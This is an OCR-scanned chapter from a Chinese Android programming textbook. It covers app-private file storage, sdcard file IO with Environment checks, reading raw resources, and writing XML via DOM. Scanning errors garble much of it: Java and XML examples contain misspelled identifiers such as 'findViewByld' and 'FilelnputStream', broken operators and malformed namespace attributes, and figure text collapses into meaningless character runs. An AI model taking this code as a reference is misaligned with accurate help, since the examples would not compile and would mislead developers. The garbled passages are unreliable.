文件 操作 方法 一 共有 两 个 : 一 个 是 进行 文件 的 输出 (openFileOutputStream()， 返 回 
OutputStream) ; 另外 一 个 是 进行 文件 的 输入 (openFileInputStream()， 返 回 InputStream) ， 这 
两 个 方法 返回 的 类 型 都 是 Java IO 流 中 的 字 节 操作 流 对 象 。 


意 
两 个 操作 方法 中 只 能 写 文件 名 称 ， 而 不 能 写 文件 路 径 。 
使 用 openFileInput() 和 openFileOutput() 方 法 进行 写 入 / 读 取 写 入 操作 时 ,接收 的 文件 名 称 中 
不 能 包含 任何 的 分 隔 符 (\) ， 只 能 写 文件 名 称 ， 而 文件 会 默认 保存 在 “\datavdata\<package 
name>\files\” 目 录 中 。 
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下 面 通过 openFileOutput() 方 法 演示 一 个 文件 输出 的 操作 。 
【 例 8-4】 保存 文件 
package org.Ixh.demo; 
import java.io.FileNotFoundException; 
import java.io.FileOutputStream; 
import java.io.PrintStream; 
import android.app.Activity; 
import android.os.Bundle; 
public class FileOperate extends Activity { 
private static final String FILENAME = "mldn.txt" ; /设置 文件 名 称 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 调 用 布局 文件 
FileOutputStream output = null ; /文件 输出 流 
try { /设置 输出 的 文件 名 称 ， 及 文件 创建 模式 
output = super.openFileOutput(FILENAME, Activity.MODE_PRIVATE); 
} catch (FileNotFoundException e) { 


e.printStackTrace(); 
} 
PrintStream out = new PrintStream(output) ; 1// 打 印 流 包装 
out.println(" 姓 名 : 李兴华 ;"); // 输 出 数据 
out.println(" 年 龄 : 30; ") ; // 输 出 数据 
out.println(" 地 址 : 北京 魔 乐 科 技 软件 学 院 。") ; // 输 出 数据 
out.close() ; // 关 闭 输出 流 


} 


} 

本 程序 首先 使 用 openFileOutput() 方 法 取得 了 一 个 文件 输出 流 的 对 象 ， 之 后 为 了 方便 输出 ， 
将 此 输出 流 的 对 象 通过 PrintStream 进行 封装 , 并 利用 打印 流 完成 数据 的 输出 ， 当 程序 运行 之 后 ， 
可 以 直接 打开 DDMS 视图 ， 可 以 发 现 输出 的 文件 保存 在 \data\data\<package name>\files\ 文 件 夹 
中 ， 如 图 8-5 所 示 ， 可 以 将 mldn.txt 文件 导出 ， 通 过 记事 本 打开 之 后 的 效果 如 图 8-6 所 示 。 


日 BB org,lxh,demo 2011-01-13 11:05 drwxr-x--x 


日 蕊 fles 2011-01-13 11:05 drwxrwx--x 和 i ey 

dn, txt 80 2011-01-13 11;05 -rw-rw-- =| 口 |X 

田 记 了 弛 人 2010-09-07 10;:19 i Es 和 本 于 天 京 民 未 利 找 软 件 学 院 、 三 

BS shared_prefs 2011-01-11 11:00 drwxrwx--x 隆 名 ， 李兴华 是 的，99 + 北京 魔 乐 科技 软件 学 院 。。 汉 
图 8-5 文件 保存 图 8-6 mldn.txt 的 内 容 


文件 保存 之 后 ， 下 面 再 继续 利用 openFileInput() 方 法 实现 一 个 文件 读 取 的 操作 。 
【 例 8-5】 定义 布局 文件 以 显示 文本 内 容 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout 

xmins:android="http:/schemas.android.com/apk/res/android" 

android:orientation="vertical” // 所 有 组 件 垂直 摆 放 

android:layout_width="fill_parent” // 此 布局 管理 器 宽度 为 屏幕 宽度 

android:layout_height="fill_parent”> // 此 布局 管理 器 高 度 为 屏幕 高 度 

<TextView // 文 本 显示 组 件 
android:id="@+id/msg” // 组 件 ID， 程 序 中 使 用 
android:textSize="22px” /组件 显示 文字 
android:textColor=#FFFFFF" // 组 件 文字 颜色 
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android:layout_width="fill_parent" 
android:layout_height="wrap_content”" /> 
</LinearLayout> 


在 本 布局 文件 中 定义 了 一 个 文本 显示 组 件 , 在 之 后 的 程序 


/组件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 文字 高 度 


会 将 mldn.txt 文件 中 的 内 容 设置 


到 此 组 件 上 进行 显示 。 
【 例 8-6】 读 取 mldn.txt 文 件 
package org.Ixh.demo; 
import java.io.FilelnputStream; 
import java.io.FileNotFoundException; 
import java.util.Scanner; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget. TextView; 
public class FileOperate extends Activity { 
private static final String FILENAME = “mldn.txt" ; 
private TextView msg = null ; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


/设置 文件 名 称 
/文本 组 件 


// 调 用 布局 文件 


this.msg = (TextView) Super.findViewByld(R.id.msg) ; 


FilelnputStream input = null; 
try { // 找 到 指定 文件 的 输入 流 对 象 
input = super.openFileInput(FILENAME); 
} catch (FileNotFoundException e) { 
e.printStackTrace(); 


Scanner scan = new Scanner(input) ; 
While(scan.hasNext()){ 
this.msg.append(scan.next() + "\n") ; 


} 


scan.close() ; 


} 


// 文 件 输入 流 


// 定 义 Scanner 
// 循 环 读 取 
// 设 置 文本 


// 关 闭 输入 流 


} 
本 程序 直接 读 取 之 前 保存 的 mldn.txt 文件 ,利用 openFileInput() 方 法 找到 文件 的 输入 流 对 象 ， 
之 后 使 用 Scanner 类 进行 循环 读 取 , 并 将 内 容 显 示 在 文本 组 件 中 , 程序 的 运行 效果 如 图 8-7 所 示 。 


CEESTTTZTE3S 


图 8-7 读 取 文件 信息 


8.2.2 利用 IO 流 操 作文 件 


上 面 程序 运行 之 后 ， 是 将 mldn xml 文件 直接 保存 在 了 手机 默认 的 存储 空间 中 ， 但 手机 的 存 
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储 空间 一 般 都 比较 小 ， 所 以 最 方便 的 做 法 是 将 信息 保存 在 sdcard 上 。 此 时 考虑 到 用 户 要 自 定义 
保存 目录 以 及 在 sdcard 上 操作 , 所 以 本 程序 不 适合 直接 使 用 Activity 类 提供 的 文件 操作 方法 , 用 
户 可 以 直接 使 用 最 传统 的 IO 流 完成 。 


i 关于 Java IO 操作 。 
Java IO 操作 是 Java SE 中 的 重要 知识 ， 在 开发 中 有 着 广泛 的 实际 作用 ， 如 果 读 者 对 此 部 
分 内 容 不 熟悉 ， 建 议 先 学 习 《 名 师 讲坛 一 一 Java 开发 实战 经 典 》 第 12 章 的 内 容 。 


【 例 8-7】 向 sdcard 上 保存 文件 

package org.Ixh.demo; 

import java.io.File; 

import java.io.FileOutputStream; 

import java.io.PrintStream; 

import android.app.Activity; 

import android.os.Bundle; 

public class FileOperate extends Activity { 
private static final String FILENAME = "/mnt/sdcard/mldndata/mymldn.txt" ;文件 名 称 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 文件 

File file = new File(FILENAME) ; /定义 File 类 对 象 

if (! file.getParentFile().exists()) { // 父 文件 夹 不 存在 
file.getParentFile().mkdirs() ; // 创 建文 件 夹 

} 

PrintStream out = null ; // 打 印 流 对 象 用 于 输出 

try{ 


out = new PrintStream(new FileOutputStream(file)) ; 
out.println(" 北 京 魔 乐 科技 软件 学 院 (MLDN，www.MLDNJAVA.cn) ， 讲 师 : 李兴华 "); 
} catch (Exception e){ 
e.printStackTrace(); 
}finally { 
if (out != null) { 
out.close() ; 1/ 关闭 打印 流 
} 
hi 
} 


} 
另外 ， 本 程序 由 于 要 使 用 到 外 部 设备 (sdcard) ， 所 以 用 户 在 操作 之 前 还 需要 为 程序 配置 相 
应 的 权限 。 
【 例 8-8】 编写 AndroidManifest.xml 文件 配置 权限 
<?xml version="1.0" encoding="utf-8"?> 


<manifest 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
package="org./xh.demo” // 程 序 所 在 的 包 名 称 
android:versionCode="1" // 程 序 的 版 本 号 
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android:versionName="1.0"> // 显 示 给 用 户 的 版 本 信息 
<uses-sdk android:minSdkVersion="10" /> // 最 低 运 行 级 别 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon” // 程 序 的 图 标 
android:label="@string/app_name'’> // 配 置 显示 标签 
<activity // 配 置 Activity 程序 
android:name=".FileOperate” /Activity 程序 类 
android:label='"@stnrng/app_name'> /程序 名 称 
<intent-filter> // 程 序 运行 时 启动 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 
</activity> 
</application> 
<uses-permission // 运 行 操作 sdcard 的 权限 
android:name="android.permission.WRITE EXTERNAL STORAGE"/> 
</manifest> 
配置 并 运行 程序 之 后 ， 会 在 用 户 指定 的 目录 下 生成 一 个 mymldn.txt 文件 ， 文 件 的 保存 路 径 
如 图 8-8 所 示 ， 文 件 导出 后 的 显示 内 容 如 图 8-9 所 示 。 


日 包 mnt 2011-08-05 07:13 drwxrwr-x 
BB asec 2011-08-05 07:13 drwxr-xr-x 
田 蕊 obb 2011-08-05 07:13 drwa-xrx 
日 BS sdcard 2011-08-05 08:07 drwar-x 
BB ocIM 2011-07-07 10:18 drwrx NE I 
田 多 LOST,DIR -06- iB “re -lgl 
losTi 2011-06-02 10:18 中 -warx ee my Cr 
日 GB midndata 2011-08-05 08:02 d---rwxr-x 件 昌 护 名 查看 C) 要 
mymldn.bxt 80 2011-08-05 08:02 ~—-rwxr-x 了 京 麻 乐 科技 软件 学 院 《WoN，wew-Mohava-en) ， 讲 师 ， 李 兴 华 a 汉 
图 8-8 mymldn.txt 的 保存 路 径 图 8-9 mymldn .txt 文件 的 内 容 


本 程序 虽然 使 用 IO 流 完成 了 文件 的 保存 ， 但 是 存在 一 个 问题 : 因为 现在 文件 的 路 径 是 采用 
硬 编码 的 方式 设置 的 , 那么 就 有 可 能 因为 sdcard 不 存在 而 出 现 错 误 , 即 最 好 的 做 法 是 判断 sdcard 
是 否 存在 ， 如 果 存 在 则 保存 ; 否则 提示 用 户 sdcard 不 存在 ， 无 法 保存 。 而 要 想 完成 该 判断 功能 ， 
就 必须 通过 android.os.Environment 类 取得 目录 的 信息 ， 此 类 的 常用 方法 及 常量 如 表 8-5 所 示 。 
表 8-5 Environment 定义 的 常量 及 方法 
No. 常量 及 方法 
1 public static final String MEDIA MOUNTED 
2 |public static final String MEDIA CHECKING 
public static final String MEDIA MOUNTED 
READ ONLY 
public static final String MEDIA REMOVED 
public static final String MEDIA UNMOUNTED 


描述 
扩展 存储 设备 允许 进行 读 / 写 访问 
扩展 存储 设备 处 于 检查 状态 


扩展 存储 设备 处 于 只 读 状 态 


扩展 存储 设备 不 存在 
没有 找到 扩展 存储 设备 
取得 Data 目录 
取得 下 载 的 缓存 日 录 
取得 扩展 的 存储 目录 


则 


4 
5 
6 |public static File getDataDirectory0) 

7 |public static File getDownloadCacheDirectoryO 
8 

9 


多 | 了 


public static File getExternalStorageDirectoryO 


a 


常量 
通 
普通 
通 
通 


public static String getExternalStorageState() 普 取得 扩展 存储 设备 的 状态 
10 |public static File getRootDirectory0) 普 取得 Root 目录 
11 |public static boolean isExternalStorageRemovable() 普 六 判断 扩展 的 存储 目录 是 否 被 删除 
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【 例 8-9】 完善 文件 输出 的 操作 
package org.Ixh.demo; 
import java.io.File; 
import java.io.FileOutputStream; 
import java.io.PrintStream; 
import android.app.Activity; 
import android.os.Bundle; 
import android.os.Environment; 
import android.widget. Toast; 
public class FileOperate extends Activity { 


private static final String FILENAME = "mymldn .txt" ; 1/ 设置 文件 名 称 
private static final String DIR = "mldndata" ; // 设 置 保存 文件 夹 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 文件 
if(Environment.getExternalStorageState().equals( 
Environment.MEDIA_MOUNTED)}{ // 如 果 sdcard 存在 


File file = new File(Environment 
.getExternalStorageDirectory().toString() 
+ File.separator 
+ DIR+ File.separator+ FILENAME) ; /定义 File 类 对 象 


if (! file.getParentFile().exists()) { // 父 文件 夹 不 存在 
file.getParentFile().mkdirs() ; // 创 建文 件 夹 

} 

PrintStream out = null ; // 打 印 流 对 象 用 于 输出 

try{ 


out = new PrintStream(new FileOutputStream(file, true)); /追加 文件 
out.println(" 北 京 魔 乐 科技 软件 学 院 (MLDN，www.MLDNJAVA.cn) ， 讲 师 : 


李兴华 "); 
}catch (Exception e) { 
e.printStackTrace(); 
}finally { 
if (out (= null) { 
out.close() ; // 关 闭 打 印 流 
H 
} 
} else{ ”//sdcard 不 存在 ， 使 用 Toast 提示 用 户 
Toast.makeText(this, "保存 失败 ，SD 卡 不 存在 ! ",Toast.LENGTH_LONG).show(); 
上 
} 
} 


本 程序 首先 使 用 Environment 类 的 getExtermalStorageState() 方 法 判断 是 否 存在 sdcard， 如 果 
存在 ， 则 采用 追加 的 方式 向 mymldn.txt 文件 中 保存 内 容 ; 如 果 不 存在 ， 则 使 用 Toast 组 件 向 用 户 
提示 错误 信息 ， 而 修改 后 的 文件 内 容 如 图 8-10 所 示 。 


可 
文件 (E) 编辑 (E) 格式 (0) ee 帮助 (H) 


i ee 格 于 


图 8-10 追加 后 的 mymldn.txt 文件 
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使 用 Java IO 流 完成 了 文件 的 保存 之 后 ， 下 面 再 使 用 Java IO 流 进行 文件 的 输入 操作 。 
【 例 8-10】 配置 main.xml 文件 ， 定 义 组 件 ， 显 示 mymldn .txt 文件 内 容 


<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 


xmlns:android="http:/schemas.android.com/apK/res/android" 


android:orientation="vertica/" 
android:layout_width="fill_parent" 
android:layout_height="fill_ parent"> 
<TextView 
android:id="@+id/msg" 
android:textSize="22px” 
android:textColor="#FFFFFF" 
android:layout_width="fill_parent" 
android:layout_height="wrap_content" /> 
</LinearLayout> 
【 例 8-11】 定义 Activity 程序 ， 读 取 文 件 内 容 
package org.Ixh.demo; 
import java.io.File; 
import java.io.FileInputStream; 
import java.util.Scanner; 
import android.app.Activity; 
import android.os.Bundle; 
import android.os.Environment'; 
import android.widget. TextView; 
import android.widget. Toast; 
public class FileOperate extends Activity { 
private static final String FILENAME = "mymldn .txt" ; 
private static final String DIR = "mldndata" ; 
private TextView msg = null ; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


/所 有 组 件 垂直 摆 放 

// 此 布局 管理 器 宽度 为 屏幕 宽度 
/此 布局 管理 器 高 度 为 屏幕 高 度 
/文本 显示 组 件 

// 组 件 ID， 程 序 中 使 用 

// 组 件 显示 文字 

// 组 件 文字 颜色 

// 组 件 宽度 为 屏幕 宽度 

// 组 件 高 度 为 文字 高 度 


1/ 设置 文件 名 称 
/设置 保存 文件 夹 
/文本 显示 


// 调 用 布局 文件 


this.msg = (TextView) super.findViewByld(R.id.msg) ; 


if(Environment.getExternalStorageState().equals( 
Environment.MEDIA_MOUNTED)YX 
File file = new File(Environment 


// 如 果 sdcard 存在 


.getExternalStorageDirectory().toString() 


+ File.separator 


+ DIR+ File.separator + FILENAME) ; /定义 File 类 对 象 


if (! file.getParentFile().exists()) { 
file.getParentFile().mkdirs() ; 


} 


Scanner scan = null ; 
try{ 


// 父 文件 夹 不 存在 
// 创 建文 件 夹 


// 扫 描 输 入 


scan = new Scanner(new FilelnputStream(file)) ; /实例 化 Scanner 


while(scan.hasNext()){ 
this.msg.append(scan.next() + "\n") ; 


} 


/循环 读 取 
/设置 文本 
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}catch (Exception e) { 
e.printStackTrace(); 
}finally { 
if (scan {= null){ 
scan.close() ; /| 关闭 打印 流 
b 
} 
}else{ /sdcard 不 存在 ， 使 用 Toast 提示 用 户 


Toast.makeText(this, " 读 取 失 败 ，SD 卡 不 存在 ! ",ToastLENGTH_LONG).show(); 


} 
b 


} 
【 例 8-12】 在 AndroidManifest.xml 配置 访问 权限 
<Uses-permission 
android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 
本 程序 直接 通过 文件 输入 流 (FileInputStream) 读 取 之 前 保存 的 mymldn.txt 文件 ， 而 后 使 用 
Scanner 工具 类 采用 循环 的 方式 将 数据 设置 到 TextView 组 件 上 显示 ， 程 序 的 运行 效果 如 图 8-11 
所 示 o 
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文件 环 作 
北京 魔 乐 科技 软件 学 
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北京 魔 乐 科 技 软 件 学 
院 (MLDN，www.MLDNJAVA. 
cn ) ， 讲 师 : 李兴华 


图 8-11 读 取 sdcard 文件 


8.2.3 操作 资源 文件 


在 Android 操作 系统 中 ， 也 可 以 进行 一 些 资源 文件 的 读 取 ， 这 些 资源 文件 的 ID 都 会 自动 通 
过 了 java 类 生成 ， 如 果 要 读 取 这 些 文件 ， 使 用 android.content.res.Resources 类 即 可 完成 ， 此 类 党 
用 的 方法 如 表 8-6 所 示 。 


表 8-6 ”Resources 类 的 方法 


| 描述 
设置 要 读 取 的 资源 ID 

要 想 取得 此 对 象 ， 可 以 通过 Activity 类 中 定义 的 getResources() 方 法 取得 ， 取 得 之 后 就 可 以 
读 取 配置 好 的 资源 信息 。 所 有 的 资源 文件 都 要 保存 在 res 目录 下 ， 为 了 方便 资源 文件 的 管理 ， 例 
如 , 现在 有 一 个 mybook.txt 文件 , 要 想 通 过 Resources 类 读 取 此 文件 的 内 容 , 则 需要 将 mybook.txt 
文件 保存 在 res\raw 文件 夹 中 。mybook.txt 的 文件 内 容 如 图 8-12 所 示 ， 而 保存 后 的 文件 目录 结构 
如 图 8-13 所 示 。 

另外 ， 需 要 注意 的 是 ， 在 设置 文件 时 文字 的 编码 应 该 选择 为 UIF-8， 如 图 8-14 所 示 ， 和 否则 
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将 出 现 乱 码 读 取 的 问题 。 
BS res 
-BE drawable-hdpi 
HB drawable-ldpi 
可 ES drawable-mdpi 
文件 (E) 编辑 (E) 格式 (0) 查看 (W 帮助 (H) 
GB layout 
弗 窗 小 记 | 
宠辱不惊 ， 闲 


实 二 下 售 ， 则 生 归 站 区 区 放 ; 


到 BE values 


图 8-12 mybooktxt 文件 


【 例 8-13】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 


图 8-13 文件 目录 


文件 名 中 了 
保存 类 型 T) 文本 文档 (w. txt) 了 
编码 中) re-8 


图 8-14 设置 编码 


xmlins:android="http:/schemas.android.com/apK/res/android" 


android:orientation="vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fil|_parent"> 
<TextView 
android:id="@+id/msg”" 
android:textSize="20px”" 
android:layout_width="fill_parent” 
android:layout_height="wrap_content"/> 
</LinearLayout> 


/所 有 组 件 垂直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
/文本 显示 组 件 
/组件 ID， 程 序 中 使 用 
/显示 文字 

/组 件 宽度 为 屏幕 宽度 

/组 件 高 度 为 文字 高 度 


【 例 8-14】 定义 Activity 程序 一 一 MyResourceDemo.java 


package org.Ixh.demo; 

import java.io.IOException; 

import java.io.InputStream; 

import java.util.Scanner; 

import android.app.Activity; 

import android.content.res.Resources; 

import android.os.Bundle; 

import android.widget. TextView; 

public class MyResourceDemo extends Activity { 


private TextView msg = null; // 文 本 显示 组 件 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 父 类 onCreate() 
super.setContentView(R.layout.main); /定义 布局 管理 器 
this.msg = (TextView) super .findViewByld(R.id.msg); /找到 组 件 
Resources res = Super.getResources(); // 操 作 资源 
InputStream input = res.openRawResource(R.raw.mybook); “V// 读 取 资 源 1D 
Scanner scan = new Scanner(input); /实例 化 Scanner 
StringBuffer buf = new StringBuffer(); /接收 数据 
while (scan .hasNext()){ /循环 读 取 

buf.append(scan.next()).append("\n"); /保存 数据 

1 
scan.close(); // 关 闭 输入 流 
try{ 1/ 关闭 输入 流 


input.close() ; 
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} catch (IOException e) { 
e.printStackTrace(); 


a /设置 文字 
} 

} 
本 程序 首先 通过 getResources() 方 法 取得 
了 资源 操作 类 (Resources 类 ) 的 对 象 , 之 后 利 
用 openRawResource() 方 法 取得 了 保存 在 res\ 
Iaw 中 的 mybook txt 文件 的 资源 ID， 并 利用 
Scanner 进行 读 取 ， 程 序 的 运行 效果 如 图 8-15 

所 示 。 


辆 5554:Android_2.3 


图 8-15 读 取 mybook .txt 资源 


8.2.4 DOM 操作 


使 用 文件 保存 数据 固然 很 方便 ， 但 是 如 果 数 据 较 多 ， 则 管理 较 不 方便 ， 所 以 在 使 用 文件 保 
存 时 ， 往 往 会 采用 XML 文件 形式 进行 数据 的 保存 ， 而 一 旦 使 用 XML 操作 ， 就 需要 对 XML 文 
件 进行 解析 ， 其 中 DOM 解析 是 最 常用 的 一 种 。 


和 注意 
关于 DOM 解析 。 
DOM 解析 是 最 常用 的 一 种 XML 解析 方式 ， 如 JavaScript 也 是 支持 DOM 解析 操作 的 , 而 
关于 此 部 分 的 内 容 已 经 在 本 系列 图 书 的 《名 师 讲坛 一 一 Java Web 开发 实战 经 典 》 一 书 第 3 章 
中 进行 了 讲解 ， 如 果 读 者 尚 不 清楚 ， 可 以 参阅 相关 资料 ， 而 本 书 对 于 XML 解析 操作 使 用 的 代 
码 与 《名 师 讲坛 一 一 Java Web 开发 实战 经 典 》 第 3 章 的 一 致 。 


为 了 更 好 地 演示 DOM 解析 操作 ， 下 面 通过 程序 输出 一 个 XML 文件 ， 此 文件 的 最 终 输 出 内 
容 如 下 所 示 。 
【 例 8-15】 要 输出 的 XML 文件 
<?xml version="1.0" encoding="GBK"?> 
<addresslist> 
<linkman> 
<name> 李 兴 华 </name> 
<email>mldnqa@163.com</email> 
</linkman> 
</addresslist> 
【 例 8-16】 定义 DOM 操作 


<?xml version="1.0" encoding="utf-8"?> 


<TableLayout 


// 表 格 布局 管理 器 


xmlns:android="http:/schemas.android.com/apK/res/android" 


android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TableRow> /定义 表格 行 
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<TextView 
android:layout_width="fill_parent" 
android:layout_height="wrap_content” 
android:textSize="20px” 
android:text=" 禁 名: "/> 
<EditText 
android:id="@+id/name”" 
android:layout_width="fill_parent" 
android:layout_height="wrap_content"/> 
</TableRow> 
<TableRow> 
<TextView 
android:layout_width="fill parent”" 
android:layout_height="wrap_content” 
android:textSize="20px” 
android:text=" 刻 项 :" /> 
<EditText 
android:id="@+id/email” 
android:layout_width="fill_parent” 
android:layout_height="wrap_content"/> 
</TableRow> 
<TableRow> 
<Button 
android:id="@+id/but" 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 
android:text=" 吝 产 "/> 
</TableRow> 
</TableLayout> 


本 程序 采用 表格 布局 管理 器 , 由 用 户 输入 姓名 和 邮箱 , 并 且 将 这 两 个 输入 文字 通过 DOM 解 


析 输 出 到 XML 文件 中 。 
【 例 8-17】 定义 Activity 程序 
package org.Ixh.demo; 
import java.io.File; 
import javax.xml.parsers.DocumentBuilder; 
import javax.xml.parsers.DocumentBuilderFactory; 
import javax.xml.parsers.ParserConfigurationException; 
import javax.xml.transform.OutputKeys; 
import javax.xml.transform. Transformer; 


// 定 义 文本 显示 组 件 

// 组 件 宽度 为 表格 列 宽 度 
/组件 高 度 为 文字 高 度 
// 设 置 文字 大 小 

// 软 认 显示 文字 

/文本 编辑 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 表格 列 宽度 
/组件 高 度 为 文字 高 度 
// 表 格 行 完结 

// 定 义 表格 行 

// 定 义 文本 显示 组 件 

// 组 件 宽度 为 表格 列 宽度 
// 组 件 高 度 为 文字 高 度 
/设置 文字 大 小 

/默认 显示 文字 

/文本 编辑 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 表格 列 宽度 
// 组 件 高 度 为 文字 高 度 
// 表 格 行 完 结 

// 定 义 表格 行 

// 按 钮 组 件 

1/ 组件 ID， 程序 中 使 用 
// 组 件 宽度 为 表格 列 宽度 
// 组 件 高 度 为 文字 高 度 
// 默 认 显示 文字 


import javax.xml.transform. TransformerConfigurationException; 


import javax.xml.transform.TransformerException; 
import javax.xml.transform.TransformerFactory; 
import javax.xml.transform.dom.DOMSource; 
import javax.xml.transform.stream.StreamResult; 
import org.w3c.dom.Document; 

import org.w3c.dom.Element; 

import android.app.Activity; 

import android.os.Bundle; 

import android.os.Environment; 
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import android.view.View; 

import android.view.View.OnClickListener; 
import android.widget.Button; 

import android.widget. TextView; 

public class MyDOMDemo extends Activity { 


private TextView name = null; // 文 本 输入 组 件 
private TextView email = null; // 文 本 输入 组 件 
private Button but = null; // 按 钮 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.name = (TextView) superfindViewByld(R.id.name) ; /取得 组 件 
this.email = (TextView) super.findViewByld(R.id.email) ; /取得 组 件 
this.but = (Button) super.findViewByld(R.id.bub ; // 取 得 组 件 
this.but.setOnClickListener(new OnClickListenerImpl()) ; /设置 监听 

} 

private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 


if(IEnvironment.getExternalStorageState().equals( 
Environment.MEDIA_MOUNTED)Y{ // 如 果 sdcard 不 存在 
return ; // 返 回 被 调用 处 
File file = new File(Environment 
.getExternalStorageDirectory().toString() 
+ File.separator 


+ "mldndata" + File.separator + "member.xml") ; /定义 File 类 对 象 
if (! file.getParentFile().exists()) { // 父 文件 夹 不 存在 
file.getParentFile().mkdirs() ; // 创 建文 件 夹 


刀 .建立 DocumentBuilderFactory， 以 用 于 取得 DocumentBuilder 
DocumentBuilderFactory factory = DocumentBuilderFactory.newinstance(); 
/2. 通过 DocumentBuilderFactory 取得 DocumentBuilder 
DocumentBuilder builder = null; 
try{ 

builder = factory.newDocumentBuilder(); 
} catch (ParserConfigurationException e) { 

e.printStackTrace(); 
全 定义 Document 接口 对 象 ， 通 过 DocumentBuilder 类 进行 DOM 树 的 转换 操作 
Document doc = null; 
doc = builder newDocument():; // 创 建 一 个 新 的 文档 
/1/4. 建立 各 个 操作 节点 


Element addresslist = doc.createElement("addresslist") ; // 建 立 节点 


Element linkman = doc.createElement("linkman") ; /建立 节点 
Element name = doc.createElement("name") ; /建立 节点 
Element email = doc.createElement("email") ; /建立 节点 


/5. 设置 节点 的 文本 内 容 ， 即 为 每 一 个 节点 添加 文本 节点 
name.appendChild(doc.createTextNode(MyDOMDemo.this.name.getText() 
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toString())); 1/ 设 置 文本 
email.appendChild(doc.createTextNode(MyDOMDemo.this.email.getText() 
-toString())) ; /设置 文本 
/6. 设置 节点 关系 
linkman.appendChild(name) ; // 子 节点 
linkman.appendChild(email) ; // 子 节点 
addresslist.appendChild(linkman) ; // 子 节点 
doc.appendChild(addresslist) ; /文档 上 保存 节点 


/7. 输出 文档 到 文件 中 
TransformerFactory tf = TransformerFactory.newiInstance(); 
Transformer t = null; 
try{ 
t= tf.newTransformer(); 
}catch (TransformerConfigurationException e1){ 
e1.printStackTrace(); 


让 
tsetOutputProperty(OutputKeys.ENCODING, "GBK") ; 。”// 设 置 编 码 


DOMSource source = new DOMSource(doc); // 输 出 文档 
StreamResult result = new StreamResult(file); /指定 输出 位 置 
try{ 

t.transform(source, result); // 输 出 
} catch (TransformerException e) { 

e.printStackTrace(); 
1 


} 
} 


} 

本 程序 的 主要 功能 是 在 按钮 的 单 击 事件 中 将 用 户 所 输入 的 文字 信息 采用 DOM 的 方式 输出 
到 XML 文件 中 ， 由 于 此 时 是 向 sdcard 保存 数据 ， 所 以 依然 使 用 Environment 类 判断 并 取得 了 
sdcard 的 相关 路 径 ， 并 且 将 所 有 的 内 容 保存 在 member.xml 文件 中 。 此 外 ， 由 于 是 sdcard 操作 ， 
所 以 还 需要 配置 一 个 操作 权限 。 

【 例 8-18】 修改 AndroidManifestxml 文件 ， 定 义 sdcard 操作 权限 
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> 
运行 之 后 输入 姓名 和 邮箱 , 单 击 “ 保 存 ” 按 钮 之 后 内 容 将 自动 保存 到 member.xml 文件 。 

程序 的 运行 效果 如 图 8-16 所 示 ， 而 生成 的 member.xml 文件 内 容 如 图 8-17 所 示 。 


区 member.xml - 记事 本 =ID|xl 
文件 (编辑 ( 格式 (oO) 查看 (V) 帮助 (中 
《3?xml version="1.8" encoding="GBK"?> 
<addresslist> 
<linkman> 
<name>1ixinghua/name> 


a 二 mldnqa@163.com 


图 8-16 运行 程序 ， 输 入 内 容 图 8-17 生成 的 memberxml 文件 内 容 (已 排版 ) 


<email>nldnqa@163 .com</email> 
/linkman> 
</addresslist> 


完成 了 DOM 输出 的 操作 之 后 ， 下 面 再 编写 一 个 程序 ， 将 member.xml 文件 中 的 姓名 和 邮箱 
信息 取出 。 
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【 例 8-19】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<TableLayout 


xmlIns:android="http:/schemas.android.com/apK/res/android" 


android:layout_width="fill_parent" 
android:layout_height="fill_ parent"> 
<TableRow> 
<TextView 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 
android:textSize="20px” 
android:text=" 梭 和 名: "/> 
<TextView 
android:id="@+id/name” 
android:textSize="20px” 
android:layout_width="fill_parent” 
android:layout_height="wrap_content"/> 
</TableRow> 
<TableRow> 
<TextView 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 
android:textSize="20px”" 
android:text= "17 辫 :“/> 
<TextView 
android:id="@+id/email" 
android:textSize="20px”" 
android:layout_width="fill_parent” 
android:layout_height="wrap_content"/> 
</TableRow> 
<TableRow> 
<Button 
android:id="@+id/but" 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 
android:text=" 磊 殉 /> 
</TableRow> 
</TableLayout> 


// 表 格 布局 管理 器 


// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
/定义 表格 行 
/定义 文本 显示 组 件 
/组 件 宽度 为 表格 列 宽度 
// 组 件 高 度 为 文字 高 度 
